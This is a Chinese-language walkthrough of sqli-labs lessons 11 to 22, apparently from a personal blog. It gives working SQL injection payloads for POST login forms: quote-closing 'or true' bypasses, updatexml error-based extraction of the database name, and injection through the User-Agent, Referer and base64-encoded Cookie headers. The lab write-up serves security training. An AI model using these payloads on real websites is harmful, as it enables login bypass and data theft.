something about sqliLabs 0x03
sqli-labs
Page-1(Basic Challenges)
Less-11
POST - Error Based - Single quotes - String
提交方式为POST方式,直接构造post请求。
uname=username&passwd=password'+or+true+--+&submit=Submit或
uname=username&passwd=password'+or+true+--+&submit=Submit都可,两处都可注入。
Less-12
POST - Error Based - Double quotes - String - with twist
多试几次,发现闭合方式不同,双引号与括号闭合("$id")。
uname=username")+or+true+--+&passwd=password&submit=Submit或
uname=username&passwd=password")+or+true+--+&submit=Submit都可,两处都可注入。
Less-13
POST - Double Injection - Single quotes - String - with twist
闭合方式为('$password')。
uname=username')+or+true+--+&passwd=password&submit=Submit或
uname=username&passwd=password')+or+true+--+&submit=Submit两处都可注入。
Less-14
POST - Double Injection - Double quotes - String - with twist
闭合方式为"$password"。
uname=username"+or+true+--+&passwd=password&submit=Submit或
uname=username&passwd=password"+or+true+--+&submit=Submit两处都可注入。
Less-15
POST - Blind - Boolean/Time Based - Single quotes
uname=username'+or+true+--+&passwd=password&submit=Submit或
uname=username&passwd=password'+or+true+--+&submit=Submit两处都可注入。
Less-16
POST - Blind - Boolean/Time Based - Double quotes
uname=username")+or+true+--+&passwd=password&submit=Submit或
uname=username&passwd=password")+or+true+--+&submit=Submit都可以注入。
Less-17
POST - Update Query - Error Based - String
这不是普通的select语句,而是update语句,可以利用0x01中学到的updatexml(),extractvalue()报错来获取信息。
uname=Dumb&passwd=newpassword'+or+updatexml(1,concat(0x7e,database()),1)+or+'close&submit=Submit即可成功注入,并获得了database()信息。
Less-18
POST - Header Injection - Uagent field - Error based
需要注入HTTP头,由于这次查询,先查询用户/密码是否存在,如果存在,将其
User-Agent 存入数据库中。
注入HTTP头的User-Agent属性。
1 | POST /Less-18/ |
Less-19
POST - Header Injection - Referer field - Error based
注入HTTP头的Referer属性,此属性是用来标识,请求来源于哪个URL。
1 | POST /Less-19/ |
Less-20
POST - Cookie Injections - Uagent field - Error based
对HTTP头的Cookie属性进行注入。
1 | POST /Less-20/ |
跟隨redirection,即可以看到结果。
Less-21
POST - Cookie Injections - Uagent field - Error based
与 Less-20 相同,但是观察到uname = YWRtaW4=中是有=存在的,联想到
BASE64编码后,会出现=补足编码。
使用base64工具解码查看:
1 | ~$ echo "YWRtaW4=" | base64 -d - |
与请求内容吻合,因此构造好payload后还需要进行BASE64编码。
构造payload为admin' or updatexml(1, concat(0x7e, database()),1) or 'close。
使用base64工具编码:
1 | ~$ echo "admin' or updatexml(1, concat(0x7e, database()),1) or 'close" | base64 - |
最终payload为:
1 | GET /Less-21/index.php |
Less-22
POST - Cookie Injections - Uagent field - Error based
与 Less-21 相比,闭合方式为",其他相同。